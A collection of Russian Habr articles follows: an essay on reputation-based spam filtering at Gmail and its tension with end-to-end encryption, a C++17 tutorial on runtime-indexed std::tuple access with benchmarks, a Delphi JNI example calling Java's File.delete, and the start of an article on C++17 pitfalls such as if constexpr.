Я кратко перескажу суть этой статьи. Главная методика нового фильтра заключалась в эвристической попытке угадать домен отправителя письма (домены сложнее получить и они стабильнее чем IP адреса), а затем вычислить **репутацию** для него. Репутация — это баллы от 0 до 100, где 100 — это идеально хорошая репутация, а 0 — однозначно спам. То есть, если у отправителя репутация 70, значит около 30% случаев мы считаем, что письмо спамерское, а в остальных случаях — пропускаем. Репутации — это скользящее среднее, вычисленное на основе аккуратного подсчёта ручных отзывов по средством кнопок «Пожаловаться на спам/Не спам», и автоматического отклика от самого фильтра. Очевидно, что ручные жалобы имеют гораздо больший вес для системы и позволяют фильтрам само-корректироваться.
У этого подхода есть ещё одно преимущество — он исключает все спорные вопросы вокруг точного определения понятия «спам». Новое определение звучит следующим образом: спам — это всё, что наши пользователи называют спамом. Против такого определения не попрёшь. При этом его очень легко реализовать на практике, и оно достаточно гибко подстраивается под новые придумки спамеров.
Стоит отметить несколько пунктов:
* Система репутаций должна иметь возможность читать **все** письма. Недостаточно видеть только спам, потому что репутации не сможет само-корректироваться. Кнопка «Не спам» так же важна как и кнопка «Пожаловаться на спам». Большая часть пометок «не спам» происходит неявно, когда пометка «спам» просто не ставится.
* Репутацию нужно вычислять **быстро**. Если вы получили письмо с неизвестной репутацией, у вас нет другого выбора, кроме как разрешить этому письму пройти. Это стимулирует спамеров попытаться опередить систему обучения. Первая версия репутационной системы использовала MapReduce и вычисляла репутации партиями. Запаздывание исчислялось часами. В итоге её заменила интерактивная система, которая вычисляла баллы на лету. Эта система — невероятный, впечатляющий экземпляр инженерного мастерства. Это, по сути, глобальная peer-to-peer обучающаяся система реального времени. Нет центральных узлов. Фильтр распределён по всему миру и может пережить потерю нескольких дата центров.
Мне страшно подумать, как можно построить такую систему вне хорошо контролируемого окружения. Даже в рамках проприетарного/централизованного окружения пришлось изрядно поломать голову...
* Репутация распространяется между доменами. Если нам известно, что конкретная ссылка плохая, и она появляется в письме от IP адреса с неизвестной репутацией, то этот IP адрес тоже получает плохую репутацию. И наоборот. Оказалось, что это важный пункт. По мере того, как количество критериев для определения репутации растёт, спамерам становится всё сложнее менять их все одновременно. Особенно это верно для ботнетов, где точный контроль за отправляющими машинами затруднителен. Если спамеру не удастся рандомизировать даже один микро аспект во всех их письмах одновременно, то все их ссылки и IP адреса автоматически будут скомпрометированы и они потеряют деньги.
* Репутациям присущи естественные проблемы. Вам необходимо большое количество пользователей. Следовательно учётные записи должны быть бесплатными. Если они бесплатные, то спамеры могут нарегистрировать много таких учётных записей, помечать собственные письма как «не спам» и произвести [Sybil attack](https://en.wikipedia.org/wiki/Sybil_attack). И это не гипотетическая проблема.
Репутационная система была разработана, чтобы вычислять репутацию на основе ряда **особенностей** в письмах помимо домена отправителя. Одна из особенностей — это домены кликабельных ссылок в тексте. Ссылки стали критичным полем боя, за которое активно велись битвы уже несколько лет. Причина понятна: спамерам нужно что-то продать. Значит им нужно привести пользователя в свой магазин. Не важно как они назовут свой товар, ссылка на конечный сайт должна работать. Бои проходили следующим образом:
1. Всё началось с простых ссылок в HTML коде писем. Фильтры начали блокировать письма с такими ссылками.
2. Спамеры начали запутывать (обфусцировать) ссылки и просили пользователей вручную собрать и ввести ссылку в адресную строку. Но этот способ работал плохо. Большинство пользователей не хотели или не могли это сделать. Доходы падали.
3. Спамеры начали покупать и создавать случайные домены пачками. Домены верхнего уровня, такие как `.com`, стоят дорого, но есть другие — подешевле. И репутация отдельного домена верхнего уровня падала ниже плинтуса (например `.cc`)
4. Когда регистраторы начали закручивать гайки, у спамеров закончились домены верхнего уровня. Они начали промышлять **воровством репутаций**. Например, они создавали блоги на сайтах, которые давали возможность зарегистрировать домен: `*.blogspot.com`, `*.livejournal.com` и другие. Сервисы сокращённых ссылок стали лучшими друзьями спамеров. Буквально каждый сервис сокращения URL становился полем битвы операторов против спамеров за репутацию домена.
5. Спамеры начали взламывать веб сайты. Но такой подход не всегда хорошо работал, потому что редкий веб сайт мог предложило легальную почту с хорошей репутацией. И ещё это хороший источник паролей.
6. Крупные площадки хостинга контента, такие как Google, объединяют спам фильтр с движком хостинга. И как только репутация пользовательского URL падает, хостинг для него автоматически закрывается. Первые версии таких систем были слишком медленными. Одним из моих проектов в Google был связан с построением системы реального времени для автоматического удаления такого контента.
Между 2006 (открытие регистрации) и 2010 годами был построен спам фильтр при регистрации учётных записей. Мы проделали очень хорошую работу, несмотря на то, что я сам себя хвалю. Посмотрите на расценки «бесплатных» учётных записей веб почтовиков на сайте buyaccs.com (русский магазин учёток). Заметьте, что учётные записи на hotmail/outlook.com стоят по 10$ за тысячу, а GMail — уже на порядок дороже. Когда мы только начали, учётки на GMail стоили по 25$ за 1000 штук. И нам удалось увеличить цену в 4 раза. Дальше улучшать показатели уже тяжело, так как все крупные веб сайты используют проверку номера телефона, чтобы исключать ложно положительные регистрации, и при текущем уровне цен становится выгодным покупать SIM карты большими партиями.
Чтобы бороться с массовыми регистрациями используется большое количество магии. Например, я создал систему, которая генерирует случайным образом зашифрованный JavaScript, который противостоит попыткам обратного инженеринга. Этот скрипт умеет определять программы автоматической регистрации и выкашивает их [[1]](http://webcache.googleusercontent.com/search?q=cache:v6Iza2JzJCwJ:www.hackforums.net/archive/index.php/thread-2198360.html+&cd=8&hl=en&ct=clnk&gl=ch).
Как на всё это повлияет сквозное шифрование?
============================================
Из моих рассказов выше можно сделать следующие выводы:
* Большие объёмы данных действительно важны как для блокировки спама, так и для определения хороших писем.
* Скорость реакции системы важна. Многие битвы со спамерами сводились к испытаниям «кто быстрее». Если твоя репутация определяется за 3 минуты, то тебя обогнали.
* Важно патрулировать своих пользователей. Нельзя вычислять репутации если нет доверия пользовательским действиям. При этом создаётся теоретически парадоксальная ситуация: бесплатные аккаунты всё равно стоят денег (если вам их нужно большое количество).
Первая проблема с E2E криптографией состоит в том, что база репутаций требует данных от **всех** писем. Мы можем представить себе почтовый клиент, который расшифровывает и анализирует письмо, а затем отправляет отчёт «хорошее/плохое» в какое-то гипотетическое центральное хранилище. Но в итоге это центральное хранилище будет изучать не только информацию о том, с кем вы общаетесь, но и ссылки в письмах. Это крайне ценная информация. Чем больше факторов приходится анализировать, тем более остро становится эта проблема.
Вторая проблема — если центральное хранилище не может прочитать ваши письма, то оно не может быть уверено в правдивости ваших отчётов. В случае незашифрованных писем такой проблемы не стоит, потому что спам фильтр сам достаёт нужную информацию из писем. Если спамеры захотят обыграть систему, им всё равно придётся отправлять реальные письма самим себе, что приводит к росту стоимости. В мире, где спам фильтры не могу читать письма, спамеры могу свободно отправлять целиком выдуманные отчёты о «хороших письмах». Всё ещё хуже, ведь спамеры могу начать соревноваться и отправлять ложные негативные отчёты. Нечто подобное мы наблюдали с нашей системой AdWords.
Третья проблема заключается в том, что спам фильтры сильно полагаются на безопасность через неясность (*пер.:* — та самая «security through obscurity»), потому что она хорошо работает. Часть используемых при анализе факторов широко известна (например IP адрес отправителя, ссылки), но существует множество других, покрытых тайной. Если логика фильтрации будет перенесена на клиентов, то спамеры смогут увидеть, что именно им нужно рандомизировать, чтоб запутать систему сквозной репутации.
Возможно упомянутые две проблемы удастся решить с помощью доверенных вычислений (Trusted Computing). С их помощью можно запускать зашифрованные программы на личных данных и железо сможет «доказать» центральному серверу, что программа действительно выполнялась. Но сложно будет совместить безопасность через неясность и сквозное шифрование — если ваше письмо проходит через чёрный ящик, этот ящик теоретически может украсть содержимое письма. Вам придётся положиться на нечто, что будет вычислять секретные критерии на основе ваших сообщений. Тогда почему бы просто не довериться GMail уже сегодня?
Четвёртая проблема: анонимность и спам фильтры плохо сочетаются. По сути необходимо отрезать спам на корню в точке отправки письма. Уничтожение учётных записей — это фундаментальный инструмент борьбы со спамом. Все основные веб почтовики и социальные сервисы вынуждают пользователей пройти проверку номера телефона если фильтр безопасности забьёт тревогу. Обычно высылается случайный код в SMS сообщении или происходит вызов по телефону, чтобы проверить реальность пользователя. Такой подход работает, потому что номера телефонов стоят денег, и почти у всех нас есть как минимум один номер. Но во многих странах запрещено иметь анонимный номер телефона, и операторы вынуждены проверять документы удостоверяющие личность перед продажей SIM карты. Тот факт, что вас могут «пробить по базе» совершенно безнаказанно (*пер.:* — есть такой юридический термин «plausible deniability»), означает, что, даже если при регистрации вы не передаёте свои личные данные, правительство может заставить вас открыть своё местоположение и/или личность в любое время. Для этого не нужно делать ничего особенного. Если они могут перехватить ваш пароль, то могут вызвать подозрение у системы безопасности сайта, дождаться когда пользователь введёт номер телефона, и вытянуть все нужные им метаданные (я никогда не сталкивался с такими ситуациями, но теоретически это возможно).
И последняя проблема: спам фильтры требовательны к ресурсам CPU и дисковому хранилищу. Много пользователей сегодня работают с почтой **исключительно** через мобильные телефоны. Ресурсы смартфонов ограничены, и чем сильнее их нагрузить, тем быстрее сядет батарея. На то, чтобы просто включить радиомодуль и скачать сообщение, уходит некоторый заряд батареи. Даже если попробовать запустить на телефоне устаревшие способы борьбы со спамом из 90-х, телефон скорее всего будет обречён. Его может спасти только какой-нибудь революционный прорыв в технологиях аккумуляторов.
В итоге, я не вижу реалистичного способа вернуться к фильтрации спама целиком на стороне клиента.
Что будет если все перейдут от email к другим системам обмена сообщениями?
==========================================================================
В общем, SMS спам — это хороший пример. Его не много, потому что телефонные компании выступают в роли спам фильтров. А ещё правительство старается участвовать, вводя наказания за SMS спам, чтобы отвадить будущих нарушителей. Так сказать, отправить потенциальным преступникам месседж. Спам в электронных письмах пережил бум задолго до того, как правительство начало на него реагировать. Поэтому интересно наблюдать разницу в подходах этих двух систем.
Не похоже, чтобы приложения наподобие WhatsApp страдали от спама. Но я думаю, что это скорее демонстрация хорошей работы их отдела борьбы со спамом/нарушениями. Они в наиболее выгодной позиции. В миллион раз легче бороться, когда есть единый центр, из которого можно всё контролировать и менять что угодно в любой момент. Вы можете убивать учётные записи и контролировать поток регистраций. Без единого центра управления приходится полагаться только на фильтрацию входящих и молча страдать, если спамеры найду как обойти вашу защиту. К тому же вы обычно просто не контролируете клиентов.
Общие мысли и выводы
====================
Если взглянуть на то, чем была выиграна война со спамерами, то мы увидим невероятные усилия, приложенные в течении нескольких лет. На ум приходит аналогия с войной: было две противоборствующие стороны и множество интересных боёв, столкновений тактик и вооружения. Я бы мог продолжать травить байки целый день, но тогда это письмо сильно растянется.
Попытаться переиграть эту войну в контексте тотального шифрования будет похоже на попытку воевать с завязанными глазами и в наручниках. Вас раздавят за минуту.
Поэтому я думаю, что нам нужен принципиально новый подход. Первая идея, которая приходит на ум, это ввести плату за отправку писем. Но это хреновая идея по нескольким причинам: самое очевидное, бесплатные глобальные коммуникации — это величайшее достижение человечества, сравнимое с доставкой человека на луну. Человек из сельских районов Китая может прислать мне письмо в течении нескольких секунд, бесплатно, а я могу ответить, бесплатно! Задумайтесь на секунду.
Другая причина провала — плата за письма стирает разницу между спамерами и честными массовыми рассылками. Многие компании рассылают большие объёмы писем, которых ждут пользователи. Возьмём, например, Facebook. Если бы каждое письмо стоило денег, некоторые честные и полезные компании не смогли бы работать.
Ещё один подход — вносить некоторый денежный депозит. Существует протокол, который позволяет пожертвовать часть биткоинов в качестве комиссии майнерам. То есть можно доказать, что ты потратил деньги, подписав вызов ящику, который сделал то же самое. Это позволит очень точно легализовать анонимные ящики, с которых потом можно отправлять сколько угодно писем. Есть способ вычислять репутации. В отчётах «спам/не спам» можно хранить только доказательства отправки. И на основе этих отчётов затем определять значение репутаций. Письма, отправитель которых ещё не имеет репутации, можно придержать, пока их не проверят волонтёры. Другой вариант — позволить перекрёстную подпись. Участник с хорошей репутацией может временно удостоверить письмо, чтобы поднять его репутацию и вызвать ответный рост репутации. Такой доверенный участник может проверять достоверность отправителя любым понравившимся способом.
По этой причине я интересуюсь проектом на стыки Bitcoin и E2E сообщений. По-моему это фундаментально связанные вещи.
Подытожим. Я известен в сообществе Bitcoin за свои радикальные идеи. Например, я предположил, что существует компромисс между приватностью и злоумышленным поведением. Многие люди в криптографических сообществах страстно отвергают эту идею и (к сожалению) человека, рискнувшего её высказать. Надеюсь, что мои истории, описанные выше, показывают, как я пришёл к таким выводам. Я думаю, что стремление к идеальной приватности без учёта злоупотреблений такой приватностью — это плохой путь для любой системы, желающей достичь широкого распространения. | https://habr.com/ru/post/237745/ | null | ru | null |
# Доступ к элементам std::tuple во время исполнения программы
При тестировании разрабатываемой библиотеки математических алгоритмов для автономного вождения нашей команде приходилось достаточно много манипулировать с кортежами (`std::tuple`): итерироваться по каждому элементу кортежа или в произвольном порядке, выбирать элементы, чьи индексы и/или значения удовлетворяют определенному условию, и т.д. Написание для каждого случая отдельной рекурсивной функции прохода по кортежу, во-первых, требует знания основ метапрограммирования и шаблонной магии, а во-вторых, отнимает существенное количество времени разработчика.
Мне в голову пришла идея: а что если получать доступ к элементам по индексу, не известному на этапе компиляции?
Теоретические предпосылки
-------------------------
Как известно, кортеж представляет из себя гетерогенный список, и в общем случае возвращаемое значение вышеупомянутой функции `std::get` может быть разным и зависит от переданного ей шаблонного параметра – индекса элемента в кортеже. Так, для типа `std::tuple` `std::get<0>` вернет `int` (на самом деле ссылку на `int`), а `std::get<1>` – `double`. Напишем объявление функции, которую мы хотим реализовать:
```
template
ReturnT get(TupleT && tuple, std::size\_t index);
```
Шаблонный параметр `TupleT` – это тип передаваемого в функцию кортежа, а `ReturnT` – возвращаемое значение, которое нам необходимо определить. Данная функция возвращает элемент кортежа под номером `index`, значение которого мы не знаем во время компиляции, а следовательно, и не знаем тип элемента кортежа. Значит, нам нужен какой-то тип, который удовлетворяет всем типам, содержащимся в интересующем нас кортеже.
Возвращаемый тип
----------------
В 17 стандарте есть класс `std::any`, который может в себе хранить объект любого типа, однако хотелось бы избежать динамического выделения памяти для простого доступа элемента. Второй возможный тип – это шаблонный класс `std::variant`, параметры которого мы сейчас обсудим.
Но вначале надо определиться, что делать в случае, если нам передали невалидное значение индекса. Первый вариант, который приходит в голову, – это бросать исключение, например, объект типа `std::out_of_range`. Второй вариант – это возвращать какой-нибудь специальный тип, сигнализирующий невалидность переданного типа.
Первый вариант показался мне более предпочтительным, потому что возникновение исключительной ситуации в данном случае – это явно вина программиста, и ее, по идее, возникать не должно.
Теперь перейдем к возвращаемому значению. Первая мысль, которая пришла мне в голову – это возвращать `std::variant` с такими же шаблонными параметрами, как и подаваемый на вход кортеж. Напишем метафункцию на подобие **type\_traits** стандартной библиотеки для этого:
```
template
struct ToVariant;
template
using ToVariantT = typename ToVariant::type;
template
struct ToVariant>
{
using type = std::variant;
};
```
Эта метафункция определена только для типа `std::tuple`. Отлично, теперь у нас есть возвращаемый тип. Однако при каждом вызове нашей функции `get` происходит копирование имеющегося объекта, что в общем случае может быть достаточно дорогостоящей операцией.
Для решения этой проблемы мне показалось оптимальным использовать класс `std::reference_wrapper` из стандартной библиотеки, чтобы в нашем «варианте» хранить только ссылки на существующие объекты. Метафункция с учетом константности кортежа запишется так:
```
template
struct ToVariantRef;
template
using ToVariantRefT = typename ToVariantRef::type;
template
struct ToVariantRef>
{
using type = std::variant>...>;
};
template
struct ToVariantRef>
{
using type = std::variant...>;
};
```
Реализация функции get
----------------------
Теперь я хочу привести реализации функции get в том порядке, в котором они приходили мне в голову. Первой идеей было использовать `std::map`, где ключам соответствовал бы индекс элемента, а значениям – непосредственно значения элементов кортежа. Реализация приведена ниже:
```
namespace detail
{
template >>
std::map buildVariantMap(TupleTRef&& tuple,
std::index\_sequence)
{
std::map variantMap;
(variantMap.emplace(Idx, ReturnT{
std::in\_place\_index\_t{},
std::ref( std::get( std::forward( tuple ) ) ) }), ...);
return variantMap;
}
} // namespace detail
template
auto variantMapGet(TupleTRef && tuple, std::size\_t index)
-> ToVariantRefT>
{
using TupleT = std::remove\_reference\_t;
auto variantMap = detail::buildVariantMap(
std::forward(tuple),
std::make\_index\_sequence>{});
return variantMap.at(index);
}
```
Мы используем `std::make_index_sequence`, чтобы из размера кортежа **N** получить последовательность **0...N-1**, а в функции `buildVariantMap` мы используем fold expressions, чтобы заполнить нашу «мапу» значениями. Минусы такого подхода очевидны – из-за динамического выделения памяти такой подход будет работать очень медленно.
Еще одной идеей для улучшения было использование `std::array` вместо `std::map`. Я решил не приводить реализацию, т.к. она схожа с реализацией, использующей `std::map`. В таком случае все наши данные будут лежать на стеке и данный подход намного быстрее использования `std::map`. Однако создавать массив на **N** элементов для доступа всего к одному из них все равно достаточно расточительно.
Следующей моей мыслью было использовать линейный поиск индекса элемента, реализация:
```
namespace detail
{
template
auto linearGetImpl(TupleTRef&& tuple, std::size\_t index)
-> ToVariantRefT>
{
using TupleT = std::remove\_reference\_t;
using ReturnT = ToVariantRefT>;
if constexpr (Idx < std::tuple\_size\_v)
{
if (Idx == index)
{
return ReturnT{ std::in\_place\_index\_t{},
std::ref(std::get(std::forward(tuple))) };
}
return linearGetImpl(std::forward(tuple), index);
}
else
{
throw std::out\_of\_range("Error! Tuple index is out of range!\n");
}
}
} // namespace detail
template
auto linearGet(TupleTRef&& tuple, std::size\_t index)
-> ToVariantRefT>
{
using TupleT = std::remove\_reference\_t;
if (index >= std::tuple\_size\_v)
{
throw std::out\_of\_range("Error! Tuple index is out of range!\n");
}
return detail::linearGetImpl<0>(std::forward(tuple), index);
}
```
Мы просто проверяем, равен ли `index` текущему значению шаблонного параметра `Idx`, и если нет, то вызываем функцию `detail::linearGetImpl` с параметром `Idx + 1`. Такой подход оказывается существенно быстрее использования `std::array`, но в таком случае у нас доступ к элементу имеет сложность **O(N)**, что все равно недостаточно хорошо.
Затем я решил улучшить эту реализацию, используя бинарный поиск:
```
namespace detail
{
template
auto binaryGetImpl(TupleTRef && tuple, std::size\_t index)
-> ToVariantRefT>
{
using TupleT = std::remove\_reference\_t;
using ReturnT = ToVariantRefT>;
constexpr auto MiddleIdx = (FirstIdx + LastIdx) / 2;
if constexpr (FirstIdx == LastIdx)
{
return ReturnT{ std::in\_place\_index\_t{},
std::ref(std::get(std::forward(tuple))) };
}
else
{
if constexpr (MiddleIdx > 0)
{
if (MiddleIdx > index)
{
return binaryGetImpl(tuple, index);
}
}
if (MiddleIdx < index)
{
return binaryGetImpl(tuple, index);
}
return ReturnT{ std::in\_place\_index\_t{},
std::ref(std::get(std::forward(tuple))) };
}
}
} // namespace detail
template
auto binaryGet(TupleTRef && tuple, std::size\_t index)
-> ToVariantRefT>
{
using TupleT = std::remove\_reference\_t;
if (index >= std::tuple\_size\_v)
{
throw std::out\_of\_range("Error! Tuple index is out of range!\n");
}
return detail::binaryGetImpl<0, std::tuple\_size\_v - 1>(
std::forward(tuple), index);
}
```
Суть бинарного поиска заключается в том, что мы делим исходный отрезок **0...N-1** каждый раз пополам и идем в ту часть, где находится искомый индекс `index`. Из-за использования двух шаблонных параметров `std::size_t` такая реализация, однако, может увеличить объем сгенерированного кода и, как следствие, бинарника.
Наконец, можно получить **O(1)** реализацию при условии, что сложность оператора `switch` не зависит от **N**. Реализация выглядит криво, но имеет место быть:
```
namespace detail
{
template
auto switchCaseGetImpl(TupleTRef&& tuple, std::size\_t index)
-> ToVariantRefT>
{
using TupleT = std::remove\_reference\_t;
using ReturnT = ToVariantRefT>;
static\_assert(std::tuple\_size\_v < 100);
#define CASE\_N(I) \
case (I): \
if constexpr ((I) < std::tuple\_size\_v) \
{ \
return ReturnT{ std::in\_place\_index\_t*{}, \
std::ref(std::get*(std::forward(tuple))) }; \
} \
else \
{ \
break; \
}
switch (index)
{
CASE\_N(0);
CASE\_N(1);
...
CASE\_N(98);
CASE\_N(99);
}
#undef CASE\_N
}
} // namespace detail
template
auto switchCaseGet(TupleTRef&& tuple, std::size\_t index)
-> ToVariantRefT>
{
using TupleT = std::remove\_reference\_t;
if (index >= std::tuple\_size\_v)
{
throw std::out\_of\_range("Error! Tuple index is out of range!\n");
}
return detail::switchCaseGetImpl(std::forward(tuple), index);
}**
```
Данная функция работает только с кортежами размера меньше 100 (выглядит как разумное допущение). А вместо ... в функции `detail::switchCaseGetImpl` идет набор `CASE_N` от 2 до 97. Для получения более красивого кода можно воспользоваться макросом из буста: **BOOST\_PP\_REPEAT**.
Бенчмарки
---------
Для бенчмарков использовалась библиотека Google. Мы взяли `std::tuple` длиной 40, каждый тип которого – это `int`. Сложность каждой операции была порядка сложности нахождения целочисленного остатка от деления. Был выбран компилятор MSVC с флагом оптимизации O2. Результаты:
| | | | |
| --- | --- | --- | --- |
| **Benchmark** | **Time** | **CPU** | **Iterations** |
| BmSwitchCaseGet | 195 ns | 195 ns | 3733333 |
| BmBinaryGet | 258 ns | 257 ns | 2488889 |
| BmLinearGet | 492 ns | 500 ns | 1000000 |
| BmVariantMapGet | 169057 ns | 168795 ns | 4073 |
| BmVariantArrayGet | 1571 ns | 1573 ns | 407273 |
| BmCompileTimeGet | 124 ns | 126 ns | 6400000 |
Из приведенных результатов видно, что switch-case реализация самая быстрая из вышеприведенных, а разница между `std::get` и нашей реализацией составляет приблизительно 50%. Такая разница, по-видимому, обусловлена лучшей способностью компилятора оптимизировать код в случае доступа к элементам во время компиляции, а также созданием объекта `std::ref` на каждый вызов нашей функции `get`. Однако, если выполнять какие-то нетривиальные действия с элементами кортежа, то разница, скорее всего, окажется незначительной. Разница в **70 ns** – это разница для прохождения по всем элементам кортежа, то есть разница для доступа к одному элементу составляет порядка **2 ns**.
Заключение
----------
В итоге мы разработали функциональность, которая позволяет итерироваться по элементам кортежа в произвольном порядке и не писать отдельную функцию для каждого случая. Это существенно экономит время разработчика – надеюсь, сэкономит время и вам. В заключении хочу привести код того, как можно пользоваться разработанной функцией.
Допустим, мы хотим вывести все элементы кортежа в поток `std::cout` . Код будет выглядит следующим образом:
```
using TupleT = std::tuple;
int main()
{
const TupleT tuple{ 5, 3.0, "str"};
for (std::size\_t idx{}; idx < std::tuple\_size\_v; ++idx)
{
std::visit([](auto && tupleValue) { std::cout << tupleValue.get() << " "; },
rttg::get(tuple, idx));
}
}
```
Для того, чтобы в лямбде не писать каждый раз `.get()`, мы будем использовать обертку над функцией `std::visit`:
```
template
auto visit(CallableT && callable, VariantTs && ... variants)
{
return std::visit(
[&callable](auto && value)
{
return std::invoke(std::forward(callable), value.get());
},
std::forward(variants)...);
}
```
Таким образом, финальный вариант можно записать без лишних `.get()`:
```
using TupleT = std::tuple;
int main()
{
const TupleT tuple{ 5, 3.0, "str"};
for (std::size\_t idx{}; idx < std::tuple\_size\_v; ++idx)
{
rttg::visit([](auto && tupleValue) { std::cout << tupleValue << " "; },
rttg::get(tuple, idx));
}
}
```
Для перегрузки работы с различными типами можно использовать overload trick:
```
/**
* Agregator of callables with operator()
*/
template
struct Overloader : CallableTs...
{
using CallableTs::operator()...;
};
/\*\*
\* Class template argument deduction guide
\*/
template Overloader(CallableTs ...) -> Overloader;
```
В таком случае пример можно переписать в виде:
```
using TupleT = std::tuple;
int main()
{
const TupleT tuple{ 5, 3.0, "str"};
for (std::size\_t idx{}; idx < std::tuple\_size\_v; ++idx)
{
rttg::visit(
rttg::Overloader
{
[](auto arg) { std::cout << arg << ' '; },
[](double arg) { std::cout << std::fixed << arg << ' '; },
[](const std::string & arg) { std::cout << std::quoted(arg) << ' '; }
},
rttg::get(tuple, idx));
}
}
```
Для такого простого примера, конечно, можно было воспользоваться функцией на подобие `for_each`. Однако наша функция позволяет итерироваться в произвольном порядке, а не обязательно в возрастающем/убывающем:
```
using TupleT = std::tuple;
std::vector getIterableIndices()
{
// some non-trivial logic here
return std::vector{ 2U, 3U, 0U, 1U };
}
int main()
{
const TupleT tuple{ "str1", 1, "str2", 2, "str3", 3 };
for (const auto idx : getIterableIndices())
{
rttg::visit([](auto && tupleValue) { std::cout << tupleValue << " "; },
rttg::get(tuple, idx));
}
}
```
→ [Ссылка на репозиторий](https://github.com/AlexKiryushkin/rttg)
**P.S.** В итоге было решено оставить бинарную версию функции get из-за относительно небольшой разницы в производительности и более удобоваримой реализации по сравнению со switch-case.
**P.S.S.** Для кортежей размера < 7 линейный поиск работает быстрее бинарного и приблизительно наравне с реализацией switch-case. | https://habr.com/ru/post/546506/ | null | ru | null |
# JNI и Delphi. Использование Java методов при помощи JNI
Всем доброго времени суток!
Сегодня мы рассмотрим такую тему, как использовать Java методы при помощи JNI.
На самом деле все очень просто. Давайте сразу начнем с примера:
Допустим у нас есть некое Java приложение на котором есть простая кнопка и при нажатии на эту кнопку будет исполняться некий код.
```
private void jButton2ActionPerformed(java.awt.event.ActionEvent evt) {
File MyFile = new File("D:\\Sample\\text.txt");
MyFile.delete();
}
```
Как мы видим в событии клика на кнопку будет исполняться просто код для удаления файла.
На Java все выглядит ясно и просто, но как же это будет выглядеть на Delphi с использованием JNI. На самом деле все проще чем кажется.
Для этого нам нужно разобрать заглянуть и в класс File, который находится по адресу **java.io.File**. Из этого класса нам нужно:
— Получиться сам класс
— Получить функцию **delete**, а именно Имя и Дескриптор.
— Заполнить аргумент для данной функции
— Использовать ее.
И так приступим.
Самой удобной утилитой для разборки класса на чечки на мой взгляд является DirtyJOE. КИдаем туда класс File и в методах ищем нашу функцию. Находим ее Имя и Дескриптор. Переходим в Delphi и создаем там такую функцию.
```
function JVM_DeleteFile(JNIEnv: PJNIenv; FilePath: String): Boolean;
```
Обратим внимание в DirtyJOE что функция delete возвращает назад Boolean.
Тут все просто: Название функции и объявляем переменные.
Давайте объявим переменные для работы нашего кода:
```
var
FileClass: JClass;
Delete, Init: JMethodID;
FileObj: JObject;
Args: array[0..0] of JValue;
```
Это все то что далее мы будем искать и использовать.
Теперь давайте заполним Аргументы
```
Args[0].l:= WideToJString(jnienv, PwideChar(WideString(FilePath)));
```
Обратите внимание что JString мы передаем как JObject (По сути JString это и есть JObject)
Ну а далее мы будем получать класс и метод delete:
```
FileClass:= jnienv^.FindClass(jnienv, 'java/io/File');
Delete:= jnienv^.GetMethodID(jnienv, FileClass, 'delete', '()Z');
```
А теперь не мало важный этап. Обратите внимание что в Java коде мы создаем новый объект **new File** и в Delphi нам требуется сделать тоже самое:
```
Init:= jnienv^.GetMethodID(jnienv, FileClass, '', '(Ljava/lang/String;)V');
FileObj:= jnienv^.NewObjectA(jnienv, FileClass, Init, @Args);
```
И нам по сути осталось только использовать сам метод delete:
```
jnienv^.CallBooleanMethod(jnienv, FileObj, Delete)
```
Но, так как вначе всего мы обратили внимание что функция delete возвращает Boolean, то давайте же сделаем проверку на возврат True и False:
```
if jnienv^.CallBooleanMethod(jnienv, FileObj, Delete) = 1 then
Result:= True
else
Result:= False;
```
Ну и давайте посмотрим на эту функцию в готовом виде:
```
function JVM_DeleteFile(JNIEnv: PJNIenv; FilePath: String): Boolean;
var
FileClass: JClass;
Delete, Init: JMethodID;
FileObj: JObject;
Args: array[0..0] of JValue;
begin
Args[0].l:= WideToJString(jnienv, PwideChar(WideString(FilePath)));
FileClass:= jnienv^.FindClass(jnienv, 'java/io/File');
Delete:= jnienv^.GetMethodID(jnienv, FileClass, 'delete', '()Z');
Init:= jnienv^.GetMethodID(jnienv, FileClass, '', '(Ljava/lang/String;)V');
FileObj:= jnienv^.NewObjectA(jnienv, FileClass, Init, @Args);
if jnienv^.CallBooleanMethod(jnienv, FileObj, Delete) = 1 then
Result:= True
else
Result:= False;
end;
```
**Заключение.**
На самом деле все проще чем кажется. С помощью JNI можно использовать любой Java метод. В этом примере, если вы внимательно смотрели то увидели что я использовал запись Аргументов типа **JValue** и как нужно их использовать. **Это очень важный момент**. | https://habr.com/ru/post/515234/ | null | ru | null |
# «Скользкие» места C++17
[](https://habr.com/ru/company/playrix/blog/465181/)
В последние годы C++ шагает вперед семимильными шагами, и угнаться за всеми тонкостями и хитросплетениями языка бывает весьма и весьма непросто. Уже не за горами новый стандарт, однако внедрение свежих веяний — процесс не самый быстрый и простой, поэтому, пока есть немного времени перед C++20, предлагаю освежить в памяти или открыть для себя некоторые особо «скользкие» места актуального на данный момент стандарта языка.
Сегодня я расскажу: почему if constexpr не является заменой макросов, каковы «внутренности» работы структурного связывания (structured binding) и его «подводные» камни и правда ли, что теперь всегда работает copy elision и можно не задумываясь писать любой return.
Если не боишься немного «испачкать» руки, копаясь во «внутренностях» языка, добро пожаловать под кат.
---
if constexpr
============
Начнём, пожалуй, с самого простого — `if constexpr` позволяет еще на этапе компиляции отбросить ветку условного выражения, для которой желаемое условие не выполняется.
Кажется, что это замена макросу `#if` для выключения «лишней» логики? Нет. Совсем нет.
Во-первых, такой `if` обладает свойствами, недоступными для макросов, — внутри можно посчитать любое `constexpr` выражение, приводимое к `bool`. Ну а во-вторых, содержимое отбрасываемой ветки должно быть синтаксически и семантически корректным.
Из-за второго требования внутри `if constexpr` нельзя использовать, например, несуществующие функции (таким способом нельзя явно разделять платформо-зависимый код) или плохие с точки зрения языка конструкции (например « `void T = 0;`»).
В чем же тогда смысл использования `if constexpr`? Основной смысл — в шаблонах. Для них есть специальное правило: отбрасываемая ветка не инстанцируется при инстанцировании шаблона. Это позволяет проще писать код, который каким-то образом зависит от свойств шаблонных типов.
Однако и в шаблонах нельзя забывать о том, что код внутри веток должен быть корректным хотя бы для какого-нибудь (даже чисто потенциального) варианта инстанцирования, поэтому просто написать, например, `static_assert(false)` внутри одной из веток нельзя (нужно, чтобы этот `static_assert` зависел от какого-либо зависимого от шаблона параметра).
Примеры:
```
void foo()
{
// в обеих ветках ошибки, поэтому не скомпилируется
if constexpr ( os == OS::win ) {
win_api_call(); // под другими платформами будет ошибка
}
else {
some_other_os_call(); // под win будет ошибка
}
}
```
```
template
void foo()
{
// Отбрасываемая ветка не инстанцируется, поэтому при правильном T код соберется
if constexpr ( os == OS::win ) {
T::win\_api\_call(); // если T поддерживает такой вызов, то ок под win
}
else {
T::some\_other\_os\_call(); // если T поддерживает такой вызов, то ок под другую платформу
}
}
```
```
template
void foo()
{
if constexpr (condition1) {
// ...
}
else if constexpr (condition2) {
// ...
}
else {
